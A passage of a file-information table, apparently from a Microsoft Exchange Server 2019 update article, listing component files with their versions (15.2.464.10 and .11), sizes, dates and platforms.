10:51| x86 \nMicrosoft.exchange.search.fast.configuration.dll| 15.2.464.10| 16,976| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.search.fast.dll| 15.2.464.10| 436,816| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.search.files.dll| 15.2.464.10| 274,304| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.search.flighting.dll| 15.2.464.10| 25,160| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.search.mdb.dll| 15.2.464.10| 217,976| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.search.service.exe| 15.2.464.10| 26,488| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.security.applicationencryption.dll| 15.2.464.10| 221,056| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.security.dll| 15.2.464.10| 1,558,608| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.security.msarpsservice.exe| 15.2.464.10| 19,840| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.security.securitymsg.dll| 15.2.464.10| 28,536| 01-Jan-2020| 10:48| x64 \nMicrosoft.exchange.server.storage.admininterface.dll| 15.2.464.10| 225,152| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.server.storage.common.dll| 15.2.464.10| 5,150,288| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.diagnostics.dll| 15.2.464.10| 214,912| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.directoryservices.dll| 15.2.464.10| 115,584| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.esebackinterop.dll| 15.2.464.10| 83,024| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.server.storage.eventlog.dll| 15.2.464.10| 80,760| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.server.storage.fulltextindex.dll| 15.2.464.10| 66,640| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.ha.dll| 15.2.464.10| 81,272| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.lazyindexing.dll| 15.2.464.10| 211,840| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.server.storage.logicaldatamodel.dll| 15.2.464.10| 1,340,800| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.mapidisp.dll| 15.2.464.10| 511,864| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.multimailboxsearch.dll| 15.2.464.10| 47,488| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.physicalaccess.dll| 15.2.464.10| 873,336| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.propertydefinitions.dll| 15.2.464.10| 1,352,056| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.propertytag.dll| 15.2.464.10| 30,592| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.rpcproxy.dll| 15.2.464.10| 130,632| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.server.storage.storecommonservices.dll| 15.2.464.10| 1,018,960| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.storeintegritycheck.dll| 15.2.464.10| 111,488| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.server.storage.workermanager.dll| 15.2.464.10| 34,688| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.server.storage.xpress.dll| 15.2.464.10| 19,536| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.servicehost.eventlog.dll| 15.2.464.10| 14,928| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.servicehost.exe| 15.2.464.10| 60,792| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.dll| 15.2.464.10| 50,760| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.eventlog.dll| 15.2.464.10| 14,208| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.servicelets.unifiedpolicysyncservicelet.eventlog.dll| 15.2.464.10| 14,200| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.services.common.dll| 15.2.464.10| 74,104| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.services.dll| 15.2.464.11| 8,493,944| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.services.eventlogs.dll| 15.2.464.10| 30,080| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.services.ewshandler.dll| 15.2.464.11| 633,728| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.services.ewsserialization.dll| 15.2.464.11| 1,651,064| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.services.json.dll| 15.2.464.11| 296,528| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.services.messaging.dll| 15.2.464.11| 43,392| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.services.onlinemeetings.dll| 15.2.464.10| 233,544| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.services.surface.dll| 15.2.464.11| 178,560| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.services.wcf.dll| 15.2.464.11| 348,536| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.services.web.config| Not applicable| 30,532| 22-Dec-2019| 11:08| Not applicable \nMicrosoft.exchange.setup.acquirelanguagepack.dll| 15.2.464.10| 56,704| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.setup.bootstrapper.common.dll| 15.2.464.10| 93,056| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.setup.common.dll| 15.2.464.11| 296,312| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.setup.commonbase.dll| 15.2.464.11| 35,920| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.setup.console.dll| 15.2.464.11| 27,008| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.setup.gui.dll| 15.2.464.11| 114,560| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.setup.parser.dll| 15.2.464.11| 53,624| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.setup.signverfwrapper.dll| 15.2.464.10| 75,136| 01-Jan-2020| 10:47| x64 \nMicrosoft.exchange.sharedcache.caches.dll| 15.2.464.10| 142,928| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.sharedcache.client.dll| 15.2.464.10| 24,952| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.sharedcache.eventlog.dll| 15.2.464.10| 15,224| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.sharedcache.exe| 15.2.464.10| 58,960| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.sharepointsignalstore.dll| 15.2.464.10| 27,008| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.slabmanifest.dll| 15.2.464.10| 47,176| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.sqm.dll| 15.2.464.10| 47,184| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.store.service.exe| 15.2.464.10| 28,024| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.store.worker.exe| 15.2.464.10| 26,496| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.storeobjectsservice.eventlog.dll| 15.2.464.10| 13,904| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.storeobjectsservice.exe| 15.2.464.10| 31,816| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.storeprovider.dll| 15.2.464.10| 1,205,320| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.structuredquery.dll| 15.2.464.10| 158,584| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.symphonyhandler.dll| 15.2.464.11| 628,096| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.syncmigration.eventlog.dll| 15.2.464.10| 13,392| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.syncmigrationservicelet.dll| 15.2.464.11| 16,456| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.systemprobemsg.dll| 15.2.464.10| 13,392| 01-Jan-2020| 10:47| x64 \nMicrosoft.exchange.textprocessing.dll| 15.2.464.10| 221,560| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.textprocessing.eventlog.dll| 15.2.464.10| 13,688| 01-Jan-2020| 10:48| x64 \nMicrosoft.exchange.transport.agent.addressbookpolicyroutingagent.dll| 15.2.464.10| 29,048| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.agent.antispam.common.dll| 15.2.464.10| 138,624| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.transport.agent.contentfilter.cominterop.dll| 15.2.464.10| 21,880| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.agent.controlflow.dll| 15.2.464.10| 40,320| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.transport.agent.faultinjectionagent.dll| 15.2.464.10| 22,912| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.agent.frontendproxyagent.dll| 15.2.464.10| 21,576| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.transport.agent.hygiene.dll| 15.2.464.10| 212,552| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.agent.interceptoragent.dll| 15.2.464.10| 98,688| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.transport.agent.liveidauth.dll| 15.2.464.10| 23,112| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.agent.malware.dll| 15.2.464.10| 169,336| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.transport.agent.malware.eventlog.dll| 15.2.464.10| 18,512| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.transport.agent.phishingdetection.dll| 15.2.464.10| 21,064| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.agent.prioritization.dll| 15.2.464.10| 31,608| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.agent.protocolanalysis.dbaccess.dll| 15.2.464.10| 46,976| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.agent.search.dll| 15.2.464.10| 30,280| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.transport.agent.senderid.core.dll| 15.2.464.10| 53,120| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.agent.sharedmailboxsentitemsroutingagent.dll| 15.2.464.10| 44,928| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.transport.agent.systemprobedrop.dll| 15.2.464.10| 18,304| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.agent.transportfeatureoverrideagent.dll| 15.2.464.10| 46,664| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.agent.trustedmailagents.dll| 15.2.464.10| 46,464| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.transport.cloudmonitor.common.dll| 15.2.464.10| 28,024| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.common.dll| 15.2.464.10| 457,296| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.transport.contracts.dll| 15.2.464.10| 18,536| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.transport.decisionengine.dll| 15.2.464.10| 30,592| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.transport.dll| 15.2.464.10| 4,183,144| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.transport.dsapiclient.dll| 15.2.464.10| 182,136| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.transport.eventlog.dll| 15.2.464.10| 121,728| 01-Jan-2020| 10:48| x64 \nMicrosoft.exchange.transport.extensibility.dll| 15.2.464.10| 403,840| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.transport.extensibilityeventlog.dll| 15.2.464.10| 14,712| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.transport.flighting.dll| 15.2.464.10| 90,192| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.transport.logging.dll| 15.2.464.10| 88,960| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.transport.logging.search.dll| 15.2.464.10| 68,472| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.transport.loggingcommon.dll| 15.2.464.10| 63,352| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.transport.monitoring.dll| 15.2.464.11| 430,672| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.transport.net.dll| 15.2.464.10| 122,232| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.transport.protocols.contracts.dll| 15.2.464.10| 17,784| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.transport.protocols.dll| 15.2.464.10| 29,048| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.protocols.httpsubmission.dll| 15.2.464.10| 60,792| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.transport.requestbroker.dll| 15.2.464.10| 50,040| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.transport.scheduler.contracts.dll| 15.2.464.10| 33,152| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.transport.scheduler.dll| 15.2.464.10| 113,024| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.transport.smtpshared.dll| 15.2.464.10| 18,296| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.transport.storage.contracts.dll| 15.2.464.10| 52,096| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.transport.storage.dll| 15.2.464.10| 675,192| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.transport.storage.management.dll| 15.2.464.10| 23,928| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.transport.sync.agents.dll| 15.2.464.10| 17,792| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.transport.sync.common.dll| 15.2.464.10| 487,528| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.transport.sync.common.eventlog.dll| 15.2.464.10| 12,872| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.transport.sync.manager.dll| 15.2.464.10| 306,040| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.sync.manager.eventlog.dll| 15.2.464.10| 15,952| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.transport.sync.migrationrpc.dll| 15.2.464.10| 46,672| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.transport.sync.worker.dll| 15.2.464.10| 1,044,560| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.transport.sync.worker.eventlog.dll| 15.2.464.10| 15,224| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.transportlogsearch.eventlog.dll| 15.2.464.10| 18,808| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.transportsyncmanagersvc.exe| 15.2.464.10| 18,816| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.um.troubleshootingtool.shared.dll| 15.2.464.10| 118,856| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.um.umcommon.dll| 15.2.464.10| 924,752| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.um.umcore.dll| 15.2.464.10| 1,466,752| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.um.umvariantconfiguration.dll| 15.2.464.10| 32,640| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.unifiedcontent.dll| 15.2.464.10| 41,856| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.unifiedcontent.exchange.dll| 15.2.464.10| 25,168| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.unifiedpolicyfilesync.eventlog.dll| 15.2.464.10| 15,224| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.unifiedpolicyfilesyncservicelet.dll| 15.2.464.11| 83,536| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.unifiedpolicysyncservicelet.dll| 15.2.464.11| 50,040| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.variantconfiguration.antispam.dll| 15.2.464.10| 642,640| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.variantconfiguration.core.dll| 15.2.464.10| 186,440| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.variantconfiguration.dll| 15.2.464.10| 67,456| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.variantconfiguration.eventlog.dll| 15.2.464.10| 12,664| 01-Jan-2020| 10:47| x64 \nMicrosoft.exchange.variantconfiguration.excore.dll| 15.2.464.10| 56,704| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.variantconfiguration.globalsettings.dll| 15.2.464.10| 27,520| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.variantconfiguration.hygiene.dll| 15.2.464.10| 120,912| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.variantconfiguration.protectionservice.dll| 15.2.464.10| 31,816| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.variantconfiguration.threatintel.dll| 15.2.464.10| 57,424| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.webservices.auth.dll| 15.2.464.10| 35,704| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.webservices.dll| 15.2.464.10| 1,054,080| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.webservices.xrm.dll| 15.2.464.10| 68,168| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.wlmservicelet.dll| 15.2.464.10| 23,632| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.wopiclient.dll| 15.2.464.10| 77,184| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.workingset.signalapi.dll| 15.2.464.10| 17,480| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.workingsetabstraction.signalapiabstraction.dll| 15.2.464.10| 29,056| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.workloadmanagement.dll| 15.2.464.10| 505,424| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.workloadmanagement.eventlogs.dll| 15.2.464.10| 14,712| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.workloadmanagement.throttling.configuration.dll| 15.2.464.10| 36,728| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.workloadmanagement.throttling.dll| 15.2.464.10| 66,432| 01-Jan-2020| 10:50| x86 \nMicrosoft.fast.contextlogger.json.dll| 15.2.464.10| 19,328| 01-Jan-2020| 10:48| x86 \nMicrosoft.filtering.dll| 15.2.464.10| 113,016| 01-Jan-2020| 10:48| x86 \nMicrosoft.filtering.exchange.dll| 15.2.464.10| 57,416| 01-Jan-2020| 10:47| x86 \nMicrosoft.filtering.interop.dll| 15.2.464.10| 15,224| 01-Jan-2020| 10:49| x86 \nMicrosoft.forefront.activedirectoryconnector.dll| 15.2.464.10| 46,968| 01-Jan-2020| 10:51| x86 \nMicrosoft.forefront.activedirectoryconnector.eventlog.dll| 15.2.464.10| 15,952| 01-Jan-2020| 10:50| x64 \nMicrosoft.forefront.filtering.common.dll| 15.2.464.10| 23,936| 01-Jan-2020| 10:50| x86 \nMicrosoft.forefront.filtering.diagnostics.dll| 15.2.464.10| 22,608| 01-Jan-2020| 10:51| x86 \nMicrosoft.forefront.filtering.eventpublisher.dll| 15.2.464.10| 34,680| 01-Jan-2020| 10:51| x86 \nMicrosoft.forefront.management.powershell.format.ps1xml| Not applicable| 49,222| 01-Jan-2020| 10:48| Not applicable \nMicrosoft.forefront.management.powershell.types.ps1xml| Not applicable| 16,278| 01-Jan-2020| 10:47| Not applicable \nMicrosoft.forefront.monitoring.activemonitoring.local.components.dll| 15.2.464.11| 1,518,976| 01-Jan-2020| 10:48| x86 \nMicrosoft.forefront.monitoring.activemonitoring.local.components.messages.dll| 15.2.464.10| 13,176| 01-Jan-2020| 10:49| x64 \nMicrosoft.forefront.monitoring.management.outsidein.dll| 15.2.464.11| 33,360| 01-Jan-2020| 10:47| x86 \nMicrosoft.forefront.recoveryactionarbiter.contract.dll| 15.2.464.10| 18,296| 01-Jan-2020| 10:47| x86 \nMicrosoft.forefront.reporting.common.dll| 15.2.464.10| 46,456| 01-Jan-2020| 10:48| x86 \nMicrosoft.forefront.reporting.ondemandquery.dll| 15.2.464.10| 50,560| 01-Jan-2020| 10:49| x86 \nMicrosoft.isam.esent.collections.dll| 15.2.464.10| 72,784| 01-Jan-2020| 10:51| x86 \nMicrosoft.isam.esent.interop.dll| 15.2.464.10| 541,568| 01-Jan-2020| 10:47| x86 \nMicrosoft.managementgui.dll| 15.2.464.10| 133,504| 01-Jan-2020| 10:51| x86 \nMicrosoft.mce.interop.dll| 15.2.464.10| 24,656| 01-Jan-2020| 10:51| x86 \nMicrosoft.office.audit.dll| 15.2.464.10| 125,000| 01-Jan-2020| 10:48| x86 \nMicrosoft.office.client.discovery.unifiedexport.dll| 15.2.464.11| 593,280| 01-Jan-2020| 10:49| x86 \nMicrosoft.office.common.ipcommonlogger.dll| 15.2.464.10| 42,368| 01-Jan-2020| 10:48| x86 \nMicrosoft.office.compliance.console.core.dll| 15.2.464.11| 217,984| 01-Jan-2020| 10:47| x86 \nMicrosoft.office.compliance.console.dll| 15.2.464.11| 854,904| 01-Jan-2020| 10:47| x86 \nMicrosoft.office.compliance.console.extensions.dll| 15.2.464.11| 485,752| 01-Jan-2020| 10:48| x86 \nMicrosoft.office.compliance.core.dll| 15.2.464.10| 413,056| 01-Jan-2020| 10:49| x86 \nMicrosoft.office.compliance.ingestion.dll| 15.2.464.10| 36,224| 01-Jan-2020| 10:48| x86 \nMicrosoft.office.compliancepolicy.exchange.dar.dll| 15.2.464.10| 84,864| 01-Jan-2020| 10:49| x86 \nMicrosoft.office.compliancepolicy.platform.dll| 15.2.464.10| 1,782,144| 01-Jan-2020| 10:48| x86 \nMicrosoft.office.datacenter.activemonitoring.management.common.dll| 15.2.464.10| 49,744| 01-Jan-2020| 10:49| x86 \nMicrosoft.office.datacenter.activemonitoring.management.dll| 15.2.464.10| 27,512| 01-Jan-2020| 10:50| x86 \nMicrosoft.office.datacenter.activemonitoringlocal.dll| 15.2.464.10| 174,968| 01-Jan-2020| 10:47| x86 \nMicrosoft.office.datacenter.monitoring.activemonitoring.recovery.dll| 15.2.464.10| 166,504| 01-Jan-2020| 10:47| x86 \nMicrosoft.office365.datainsights.uploader.dll| 15.2.464.10| 40,320| 01-Jan-2020| 10:47| x86 \nMicrosoft.online.box.shell.dll| 15.2.464.10| 46,456| 01-Jan-2020| 10:48| x86 \nMicrosoft.powershell.hostingtools.dll| 15.2.464.10| 68,168| 01-Jan-2020| 10:47| x86 \nMicrosoft.powershell.hostingtools_2.dll| 15.2.464.10| 68,168| 01-Jan-2020| 10:47| x86 \nMicrosoft.tailoredexperiences.core.dll| 15.2.464.10| 120,192| 01-Jan-2020| 10:48| x86 \nMigrateumcustomprompts.ps1| Not applicable| 19,446| 01-Jan-2020| 10:50| Not applicable \nModernpublicfoldertomailboxmapgenerator.ps1| Not applicable| 29,048| 01-Jan-2020| 10:50| Not applicable \nMovemailbox.ps1| Not applicable| 61,700| 01-Jan-2020| 10:50| Not applicable \nMovetransportdatabase.ps1| Not applicable| 30,922| 01-Jan-2020| 10:49| Not applicable \nMove_publicfolderbranch.ps1| Not applicable| 17,852| 01-Jan-2020| 10:50| Not applicable \nMpgearparser.dll| 15.2.464.10| 99,712| 01-Jan-2020| 10:50| x64 \nMsclassificationadapter.dll| 15.2.464.10| 248,912| 01-Jan-2020| 10:48| x64 \nMsexchangecompliance.exe| 15.2.464.10| 78,920| 01-Jan-2020| 10:47| x86 \nMsexchangedagmgmt.exe| 15.2.464.10| 25,464| 01-Jan-2020| 10:51| x86 \nMsexchangedelivery.exe| 15.2.464.10| 38,784| 01-Jan-2020| 10:50| x86 \nMsexchangefrontendtransport.exe| 15.2.464.10| 31,616| 01-Jan-2020| 10:51| x86 \nMsexchangehmhost.exe| 15.2.464.11| 27,208| 01-Jan-2020| 10:49| x86 \nMsexchangehmrecovery.exe| 15.2.464.10| 29,768| 01-Jan-2020| 10:48| x86 \nMsexchangemailboxassistants.exe| 15.2.464.10| 72,568| 01-Jan-2020| 10:48| x86 \nMsexchangemailboxreplication.exe| 15.2.464.11| 20,856| 01-Jan-2020| 10:51| x86 \nMsexchangemigrationworkflow.exe| 15.2.464.11| 69,200| 01-Jan-2020| 10:51| x86 \nMsexchangerepl.exe| 15.2.464.10| 71,040| 01-Jan-2020| 10:51| x86 \nMsexchangesubmission.exe| 15.2.464.10| 123,256| 01-Jan-2020| 10:51| x86 \nMsexchangethrottling.exe| 15.2.464.10| 39,808| 01-Jan-2020| 10:51| x86 \nMsexchangetransport.exe| 15.2.464.10| 74,320| 01-Jan-2020| 10:49| x86 \nMsexchangetransportlogsearch.exe| 15.2.464.10| 139,128| 01-Jan-2020| 10:49| x86 \nMsexchangewatchdog.exe| 15.2.464.10| 55,672| 01-Jan-2020| 10:51| x64 \nMspatchlinterop.dll| 15.2.464.10| 53,840| 01-Jan-2020| 10:51| x64 \nNativehttpproxy.dll| 15.2.464.10| 91,728| 01-Jan-2020| 10:51| x64 \nNavigatorparser.dll| 15.2.464.10| 636,792| 01-Jan-2020| 10:51| x64 \nNego2nativeinterface.dll| 15.2.464.10| 19,320| 01-Jan-2020| 10:48| x64 \nNegotiateclientcertificatemodule.dll| 15.2.464.10| 30,072| 01-Jan-2020| 10:50| x64 \nNewtestcasconnectivityuser.ps1| Not applicable| 20,080| 01-Jan-2020| 10:49| Not applicable \nNewtestcasconnectivityuserhosting.ps1| Not applicable| 24,859| 01-Jan-2020| 10:49| Not a